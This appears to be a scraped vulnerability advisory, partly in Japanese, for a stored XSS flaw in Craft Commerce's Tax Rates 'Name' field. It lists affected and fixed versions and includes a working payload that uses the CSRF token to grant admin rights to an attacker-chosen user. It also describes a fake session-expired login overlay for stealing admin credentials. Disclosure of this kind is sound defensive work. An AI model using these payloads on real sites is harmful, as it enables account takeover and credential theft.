| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| craftcms/commerce | ≥ 4.0.0-RC1, < 4.10.1≥ 5.0.0-RC1, < 5.5.2 | 4.10.15.5.2 |
| craft commerce | = 4.0.0≥ 4.0.1, < 4.10.1≥ 5.0.0, < 5.5.2 | 4.10.15.5.2 |
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator's browser. This occurs because the Tax Rates 'Name' field in the Store Management section is not properly sanitized before being displayed in the admin panel.
/admin/commerce/store-management/primary/taxrates).<img src=x onerror="alert(document.domain)">
<UserID> with your attacker id:<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンOr even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it's on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.